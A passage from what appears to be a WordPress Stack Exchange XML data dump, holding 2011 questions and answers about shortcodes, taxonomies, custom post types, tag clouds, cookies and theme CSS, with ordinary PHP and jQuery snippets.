  <row Id="17086" PostTypeId="2" ParentId="17085" CreationDate="2011-05-12T18:21:38.917" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;code&gt;do_shortcode()&lt;/code&gt; on your meta box content: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-12T18:21:38.917" CommentCount="1" />
  <row Id="17087" PostTypeId="2" ParentId="17085" CreationDate="2011-05-12T18:23:05.257" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the wordpress filters and when &lt;code&gt;do_shortcode&lt;/code&gt; gets added to &lt;code&gt;the_content&lt;/code&gt;. meta box content doesn't come from &lt;code&gt;the_content&lt;/code&gt; therefore doesn't get filtered and no shortcode gets executed. You have to add the filter to your meta box content yourself.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-12T18:23:05.257" />
  <row Id="17088" PostTypeId="1" CreationDate="2011-05-12T18:42:19.493" Score="0" ViewCount="68" Body="&lt;p&gt;I want to redirect my rss feed to my new domain without losing the people that is currently subscribed to me. what would be the best way to do this? for example right now my current path to my rss feed is oldurl.com/wp-rss2.php and my new one is newurl.com/feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated it.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-05-12T18:42:19.493" Title="301 redirect rss feed" Tags="&lt;redirect&gt;&lt;rss&gt;&lt;feed&gt;" CommentCount="6" />
  <row Id="17089" PostTypeId="1" AcceptedAnswerId="17091" CreationDate="2011-05-12T18:52:12.113" Score="1" ViewCount="113" Body="&lt;p&gt;I have been going crazy trying to google up what these globals are. What are allowedposttags and allowedtags? What is the difference between the two? Is there a list of all WP Globals and an explanation of what they are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For MCE Editor - to allow users not logged in to use lists and underline + strikethrough add following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_html_tags_code', 10);&#xA;function my_html_tags_code() {&#xA;  global $allowedposttags, $allowedtags;&#xA;    //$allowedposttags[&quot;ol&quot;] = array();&#xA;    //$allowedposttags[&quot;ul&quot;] = array();&#xA;    $allowedtags[&quot;ol&quot;] = array();&#xA;    $allowedtags[&quot;ul&quot;] = array();&#xA;    $allowedtags[&quot;li&quot;] = array();&#xA;    $allowedtags[&quot;span&quot;] = array( &quot;style&quot; =&amp;gt; array() );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditorDisplayName="" LastEditDate="2011-05-12T20:42:45.370" LastActivityDate="2011-05-29T12:28:45.730" Title="What are allowedposttags and allowedtags?" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="17090" PostTypeId="1" AcceptedAnswerId="17101" CreationDate="2011-05-12T18:57:43.933" Score="0" ViewCount="100" Body="&lt;p&gt;I'm using a little function below to list out the post_terms. The function is outputting very specific markup for the grouping, filter, and href attributes (this is a term selector for the jQuery isotope plugin).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms(&quot;post_tag&quot;);&#xA;$count = count($terms);&#xA; if($count &amp;gt; 0){&#xA;    echo '&amp;lt;div class=&quot;option-combo tag&quot;&amp;gt;';&#xA;    echo '&amp;lt;h4&amp;gt;Post Tags&amp;lt;/h4&amp;gt;';&#xA;    echo '&amp;lt;ul class=&quot;filter option-set floated clearfix&quot;&amp;gt;';&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#filter-tag-any&quot; data=filter=&quot;&quot; data-group=&quot;tag&quot; class=&quot;selected&quot;&amp;gt;any&amp;lt;/a&amp;gt;';&#xA;    foreach ($terms as $term) {&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;#filter-tag-'.$term-&amp;gt;slug.'&quot; data-group=&quot;tag&quot; data-filter=&quot;.tag-'.$term-&amp;gt;slug.'&quot;&amp;gt;'.$term-&amp;gt;name.'&amp;lt;/a&amp;gt;';        &#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the requirements above where each term has it's own custom href, data-group, data-filter, how would I go about changing this list format into a tag cloud with my requirements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(an ordered list of terms is way to long for use within a sidebar, hence a tag cloud would work much better when using terms as a selector)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did look through the codex, but didn't see any examples on how to modify the output of the tag cloud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-12T20:00:26.147" LastActivityDate="2011-06-11T21:00:50.747" Title="Customizing the wordpress tag-cloud output" Tags="&lt;terms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17091" PostTypeId="2" ParentId="17089" CreationDate="2011-05-12T19:00:19.140" Score="3" ViewCount="" Body="&lt;p&gt;These are arrays that are used by the wp_kses library. Basically they are white lists of html tags and attributes that WordPress allows in posts and comments. If memory serves correctly, &quot;allowedposttags&quot; is used for sanitizing post_content while &quot;allowedtags&quot; is used for comments.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-12T19:00:19.140" CommentCount="1" />
  <row Id="17093" PostTypeId="1" AcceptedAnswerId="19609" CreationDate="2011-05-12T19:39:04.257" Score="4" ViewCount="242" Body="&lt;p&gt;I'm contemplating a widget with quite a number of options, which will make for a lengthy widget form. To improve the user experience with this form, I'd like to divide it into sections. I don't feel like re-inventing the wheel, so what are some examples of widgets that have fairly complex forms (especially those which are divided into multiple sections) &lt;strong&gt;all the while remaining usable and easy to parse visually&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should add that I'm looking for examples that could be considered &quot;best practices&quot;, &lt;em&gt;not messy kitchen sink forms that are difficult to use&lt;/em&gt;. I realize this is probably subjective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your input!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-06-08T13:48:44.397" LastActivityDate="2011-06-14T15:41:27.850" Title="Complex widget form UI - examples and best practices" Tags="&lt;widgets&gt;&lt;best-practices&gt;&lt;form&gt;&lt;ui&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" />
  <row Id="17094" PostTypeId="2" ParentId="11857" CreationDate="2011-05-12T19:39:27.593" Score="1" ViewCount="" Body="&lt;p&gt;The best solution here is to use the built-in filter for embed parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function mytheme_embed_defaults( $defaults ) {  &#xA;return array( &#xA;    'width'  =&amp;gt; 100,&#xA;    'height' =&amp;gt; 100&#xA;    );&#xA;}&#xA;add_filter( 'embed_defaults', 'mytheme_embed_defaults' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code can be added to your theme's functions.php file and you can change the numbers to reflect the sizes that you desire. You can add conditionals as needed. Maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function mytheme_embed_defaults( $defaults ) {  &#xA;    if ( is_category() ) {&#xA;        $defaults = array( 'width'  =&amp;gt; 100, 'height' =&amp;gt; 100 );&#xA;    }&#xA;    return $defaults;&#xA;}&#xA;add_filter( 'embed_defaults', 'mytheme_embed_defaults' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would work best for you.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-12T19:39:27.593" />
  <row Id="17095" PostTypeId="1" AcceptedAnswerId="17098" CreationDate="2011-05-12T19:47:43.327" Score="0" ViewCount="127" Body="&lt;p&gt;What is the difference between custom taxonomies and page templates and custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I understand that taxonomy is used to organize data. CPTs are used to give your data a different design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but can't a template be used instead of CPT? or are they used in combination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and can't categories be used instead of creating additional taxonomies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i guess are CPT's and custom taxonomies just tools to make life easier or do they serve a purpose that could not be achieved without them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been creating new templates for any page the needs a different look or any page that uses a specific category. have i been doing this wrong or poorly? instead of having 7 templates should i have 7 CPT's or something like that?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-12T19:59:42.487" LastActivityDate="2011-05-12T19:59:53.257" Title="What are the differences between custom post type and custom page templates? " Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;page-template&gt;" AnswerCount="3" />
  <row Id="17096" PostTypeId="1" CreationDate="2011-05-12T19:58:54.063" Score="0" ViewCount="70" Body="&lt;p&gt;Your code for using offset and pagination with multiple groups of posts (http://wordpress.org/support/topic/query_posts-offset-and-pagination) is a great issue for my index.php. But it doesn't work for archive pages: category, tags and search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance, &#xA;Dem.&lt;/p&gt;&#xA;" OwnerUserId="5325" LastActivityDate="2011-05-12T19:58:54.063" Title="Offset and pagination with multiple groups of posts on archive pages" Tags="&lt;loop&gt;&lt;pagination&gt;&lt;archive&gt;&lt;custom-loop&gt;" />
  <row Id="17097" PostTypeId="2" ParentId="17095" CreationDate="2011-05-12T19:59:02.113" Score="0" ViewCount="" Body="&lt;p&gt;It's one of the cases of name that is slightly confusing. Think of Custom &lt;strong&gt;Post&lt;/strong&gt; Type as Custom &lt;strong&gt;Content&lt;/strong&gt; Type instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put CPT doesn't have to be post at all. Actually the main purpose of CPT is to give an option to build things partially or completely different from generic posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can hack posts to be many things as well, but CPT mechanisms give more controls and more clear distinction between different types of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you just need different looking page - custom template is absolutely appropriate tool.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-12T19:59:02.113" />
  <row Id="17098" PostTypeId="2" ParentId="17095" CreationDate="2011-05-12T19:59:40.203" Score="4" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Taxonomies&lt;/strong&gt; are categorizations of data.  Tags are a taxonomy.  Categories are another taxonomy.  If you are building a movie website and want to show which actors starred in which movie, &quot;Movies&quot; would be a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Post Types&lt;/strong&gt; are really just custom data items.  They're stored just like posts and pages, but aren't considered the same thing as a post or a page.  In the movie website example above, &quot;Actor&quot; might be a custom post type with a Name, a Biography, and a Headshot as elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Page Templates&lt;/strong&gt; are special files for WordPress that dictate how the content will be laid out on the page.  They're used strictly with pages in WordPress, not with posts or custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Types of Data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Posts&lt;/li&gt;&#xA;&lt;li&gt;Pages&lt;/li&gt;&#xA;&lt;li&gt;Menus (yes, these are a custom post type)&lt;/li&gt;&#xA;&lt;li&gt;Custom Post Types&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ways to Structure and Relate Data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tags&lt;/li&gt;&#xA;&lt;li&gt;Categories&lt;/li&gt;&#xA;&lt;li&gt;Post Formats&lt;/li&gt;&#xA;&lt;li&gt;Custom Taxonomies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ways to Present Data:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom Page Template&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-12T19:59:40.203" />
  <row Id="17099" PostTypeId="2" ParentId="17095" CreationDate="2011-05-12T19:59:53.257" Score="0" ViewCount="" Body="&lt;p&gt;categories are a taxonomy, and can be used instead of additional taxonomies. but where additional taxonomies come in is when you need more than just a single means of categorizing things, or you want them separated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;custom post types are for different content types. they not only can be treated differently on the front end, but they are displayed separately and can be handled different on the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the differences are superficial, then templates is the way to handle things. if they're separate things like a post vs a product vs a person, then custom post types are the way to handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also have a look at post formats for handling different formats on the front end.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-12T19:59:53.257" />
  <row Id="17100" PostTypeId="2" ParentId="17093" CreationDate="2011-05-12T20:05:00.000" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/query-posts/&quot; rel=&quot;nofollow&quot;&gt;Query Posts&lt;/a&gt; has most complex widget form that I know of. It is quite crowded, but still usable as for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/SmDV4.png&quot; alt=&quot;Query Posts widget's form&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you looking for something specific (in that case you should share some details on amount of types and controls widget will need to have) or really just generic info? If latter this would probably be better as community wiki.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-12T20:05:00.000" CommentCount="2" />
  <row Id="17101" PostTypeId="2" ParentId="17090" CreationDate="2011-05-12T20:10:55.297" Score="0" ViewCount="" Body="&lt;p&gt;This is how the links are created in &lt;code&gt;wp_generate_tag_cloud&lt;/code&gt; (wp-includes/category-template.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $tags as $key =&amp;gt; $tag ) {&#xA;    $count = $counts[ $key ];&#xA;    $real_count = $real_counts[ $key ];&#xA;    $tag_link = '#' != $tag-&amp;gt;link ? esc_url( $tag-&amp;gt;link ) : '#';&#xA;    $tag_id = isset($tags[ $key ]-&amp;gt;id) ? $tags[ $key ]-&amp;gt;id : $key;&#xA;    $tag_name = $tags[ $key ]-&amp;gt;name;&#xA;    $a[] = &quot;&amp;lt;a href='$tag_link' class='tag-link-$tag_id' title='&quot; . esc_attr( call_user_func( $topic_count_text_callback, $real_count ) ) . &quot;' style='font-size: &quot; .&#xA;        ( $smallest + ( ( $count - $min_count ) * $font_step ) )&#xA;        . &quot;$unit;'&amp;gt;$tag_name&amp;lt;/a&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There seems not to be a way to do what you need. Maybe copying all &lt;code&gt;wp_generate_tag_cloud&lt;/code&gt; and modifying it to your needs in your functions.php?&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-12T20:10:55.297" />
  <row Id="17102" PostTypeId="2" ParentId="16709" CreationDate="2011-05-12T21:10:32.833" Score="1" ViewCount="" Body="&lt;p&gt;I ran into something similar while using the Magic Fields plugin. This might do the trick&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values_serialized = serialize(array('50'));&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'my-post-type',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'latitude',&#xA;            'value' =&amp;gt; $values_serialized,&#xA;            'compare' =&amp;gt; '&amp;gt;'&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5327" LastActivityDate="2011-05-12T21:10:32.833" CommentCount="1" />
  <row Id="17103" PostTypeId="2" ParentId="16255" CreationDate="2011-05-12T21:19:46.300" Score="0" ViewCount="" Body="&lt;p&gt;I'm doing the same thing right now and I went the MU route. The custom post type method would work well if you are not planing on having multiple users managing their own shows, or are looking for a lot of content outside of individual episode postings. &lt;/p&gt;&#xA;" OwnerUserId="5302" LastActivityDate="2011-05-12T21:19:46.300" />
  <row Id="17104" PostTypeId="1" CreationDate="2011-05-12T21:27:53.983" Score="0" ViewCount="58" Body="&lt;p&gt;I am wondering if there is a way to give users the option of choosing between two formats of displaying posts (index/archive/search result template options) - either view full post, or excerpts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on the home page you could have a setting &quot;view full posts&quot; and save that setting so that each time the viewer visits, they're served the full post index template instead of the excerpted one (and vice versa) - how can this be achieved?&lt;/p&gt;&#xA;" OwnerUserId="5146" LastActivityDate="2011-08-11T01:22:08.917" Title="Give user option to select full post index page or excerpted index?" Tags="&lt;templates&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17105" PostTypeId="2" ParentId="17104" CreationDate="2011-05-12T21:40:05.447" Score="0" ViewCount="" Body="&lt;p&gt;you could set a cookie and then check it in the loop. I've done this in the past with a check box hooked to an ajax call to a little php script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;setcookie(&quot;mysite_cookie&quot;, &quot;excerpt_view&quot;, time()+36000, &quot;/&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in your loop check if the cookie exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isset($_COOKIE[&quot;mysite_cookie&quot;])){&#xA;// show excerpts&#xA;} else {&#xA;// show full posts&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-12T21:40:05.447" />
  <row Id="17106" PostTypeId="1" AcceptedAnswerId="17142" CreationDate="2011-05-12T21:48:05.410" Score="3" ViewCount="252" Body="&lt;p&gt;is it possible to change the author base slug in dependency of the role? For example, authors get example.com/ninja/%username% and subscribers get example.com/trainee/%username% ?&#xA;I am thinking of something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'set_new_author_base');&#xA;function set_new_author_base() {&#xA;  global $wp_rewrite;&#xA;&#xA;  if($user-&amp;gt;role == 'subscriber')&#xA;    $author_slug = 'trainee';&#xA;    $wp_rewrite-&amp;gt;author_base = $author_slug;&#xA;  } elseif($user-&amp;gt;role == 'author') {&#xA;    $author_slug = 'ninja';&#xA;    $wp_rewrite-&amp;gt;author_base = $author_slug;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am a little bit desperate because of the if-line. It should work vor unregistered visitors if they browse the site and see the author links, it should work for the logged in authors and subscriber themselves.... I really appreciate any help!&lt;/p&gt;&#xA;" OwnerUserId="5328" LastActivityDate="2011-05-13T10:00:35.850" Title="Change Author Base Slug for different Roles" Tags="&lt;url-rewriting&gt;&lt;slug&gt;&lt;user-roles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" />
  <row Id="17107" PostTypeId="1" CreationDate="2011-05-12T21:50:27.167" Score="0" ViewCount="93" Body="&lt;p&gt;I have a 'custom post type ' and it is possible to upload, however, I would remove / hide the uploads that only 'custom post type ' Media Library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the post type 'ads', but do not want the banners uploaded to be displayed in media library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how I filter images?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5329" LastActivityDate="2011-05-12T21:50:27.167" Title="Filter Media Library Post Type" Tags="&lt;post-type&gt;" />
  <row Id="17108" PostTypeId="2" ParentId="17104" CreationDate="2011-05-12T21:51:54.813" Score="0" ViewCount="" Body="&lt;p&gt;Milo beat me to the punch while I was writing this but I will expand on his answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set your cookie an easy method would be to use &lt;a href=&quot;http://plugins.jquery.com/project/Cookie&quot; rel=&quot;nofollow&quot;&gt;jQuery Cookie&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the plugin and include the cookie js via wp_enqueue_script with jquery as a dependency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;excerpt_view&quot; type=&quot;button&quot; value=&quot;Show Excerpts&quot; /&amp;gt;&#xA;&amp;lt;input id=&quot;full&quot; type=&quot;button&quot; value=&quot;Show Entire Posts&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your js to save the cookie.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;&#xA;    $('#excerpt_view').click(function(e) {&#xA;         $.cookie('mysite_cookie', 'true', { expires: 30 });&#xA;    });&#xA;    $('#full').click(function(e) {&#xA;         $.cookie('mysite_cookie', null);&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The PHP conditional  in Milo's answer will read the cookie.  The excerpt_view button will set the cookie and cause the conditional to return true and show the excerpt.  The full view button deletes the cookie which will cause the conditional to return false and show the full posts.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-12T21:51:54.813" CommentCount="2" />
  <row Id="17110" PostTypeId="2" ParentId="11706" CreationDate="2011-05-12T22:47:36.347" Score="0" ViewCount="" Body="&lt;p&gt;Found the solution. The rewrites were getting added to the db after the system was reading them from the db. Moved the code and it worked!&lt;/p&gt;&#xA;" OwnerUserId="3861" LastActivityDate="2011-05-12T22:47:36.347" />
  <row Id="17111" PostTypeId="2" ParentId="16906" CreationDate="2011-05-12T23:16:26.593" Score="0" ViewCount="" Body="&lt;p&gt;Some of the paid subscription plugins offer this. One that I know of off hand and had good experience with is&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yourmembers.co.uk/the-plugin/&quot; rel=&quot;nofollow&quot;&gt;Your Members&lt;/a&gt; with &lt;a href=&quot;http://www.yourmembers.co.uk/the-plugin/addon/your-minder/&quot; rel=&quot;nofollow&quot;&gt;additional addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-12T23:16:26.593" />
  <row Id="17112" PostTypeId="2" ParentId="15840" CreationDate="2011-05-13T00:31:04.330" Score="2" ViewCount="" Body="&lt;p&gt;If you want to simply rename the appearance of posts, rather than creating a custom post type then add this code to your themes functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hook the translation filters&#xA;add_filter(  'gettext',  'change_post_to_portfolio'  );&#xA;add_filter(  'ngettext',  'change_post_to_portfolio'  );&#xA;&#xA;function change_post_to_portfolio( $translated ) {&#xA;  $translated = str_ireplace(  'Post',  'Portfolio',  $translated );  // ireplace is PHP5 only&#xA;  return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the interests of transparency I got this code from &lt;a href=&quot;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;, although I have used similar tricks in the past.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-13T00:31:04.330" />
  <row Id="17113" PostTypeId="1" AcceptedAnswerId="17114" CreationDate="2011-05-13T00:53:55.907" Score="1" ViewCount="267" Body="&lt;p&gt;Is there a way to have specific css on the homepage and use a different one for all the other pages?&lt;/p&gt;&#xA;" OwnerUserId="2106" LastActivityDate="2011-05-13T01:18:54.280" Title="Specific css on homepage, different one for other pages" Tags="&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="2" />
  <row Id="17114" PostTypeId="2" ParentId="17113" CreationDate="2011-05-13T00:58:02.487" Score="2" ViewCount="" Body="&lt;p&gt;Yes there is. You can add this to your themes header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if(is_home()){&#xA;    // we are on the home page&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; src=&quot;your_stylesheet&quot; /&amp;gt;';&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use other conditional tags to find out if you are on nearly every type of WordPress page. &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following on from the comments below, this would be better used like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if(is_home()){&#xA;    // we are on the home page&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; src=&quot;your_home_stylesheet&quot; /&amp;gt;';&#xA;  }else {&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; src=&quot;your_default_stylesheet&quot; /&amp;gt;';&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3493" LastEditorUserId="3493" LastEditorDisplayName="" LastEditDate="2011-05-13T01:18:54.280" LastActivityDate="2011-05-13T01:18:54.280" CommentCount="5" />
  <row Id="17115" PostTypeId="2" ParentId="17113" CreationDate="2011-05-13T01:01:09.570" Score="0" ViewCount="" Body="&lt;p&gt;If you look at the source code on a WordPress page the body class changes for each page mine shows home so i would create my css with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.home #whatever div or body.home .whatever class&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OS1jH.png&quot; alt=&quot;Look At The Body Tag&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-13T01:01:09.570" CommentCount="1" />
  <row Id="17116" PostTypeId="2" ParentId="17106" CreationDate="2011-05-13T01:41:42.983" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/edit-author-slug/&quot; rel=&quot;nofollow&quot;&gt;This plugin&lt;/a&gt; does what you're after. If you don't want to use a plugin you might be able to find the answer to your question in the source code.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-13T01:41:42.983" CommentCount="1" />
  <row Id="17117" PostTypeId="1" AcceptedAnswerId="17119" CreationDate="2011-05-13T01:59:22.887" Score="0" ViewCount="226" Body="&lt;p&gt;Ok so i have registered a few custom post types and a few taxonomies now i for the life of me can not figure out the code i need to add a custom field to my custom post types. I need a drop down and a single line text area. But i also need to have separate fields for post types so say post type one has 3 fields and post type 2 has 4 fields but the fields are different. Any tips would help i have looked at the codex and found something but can not make sense of what i need to add to my functions.php file&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-22T14:22:30.237" Title="Add Custom Fields" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="17119" PostTypeId="2" ParentId="17117" CreationDate="2011-05-13T03:03:10.697" Score="3" ViewCount="" Body="&lt;p&gt;This is probably more complicated than you think, I would look into using a plugin, specifically these two:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WPAlchemy &lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/wpalchemy-metabox/&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;Custom Field &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to write your own , here are some decent tutorials:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/creating-custom-fields-for-attachments-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/wordpress/creating-custom-fields-for-attachments-in-wordpress/&lt;/a&gt;    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sltaylor.co.uk/blog/control-your-own-wordpress-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://sltaylor.co.uk/blog/control-your-own-wordpress-custom-fields/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 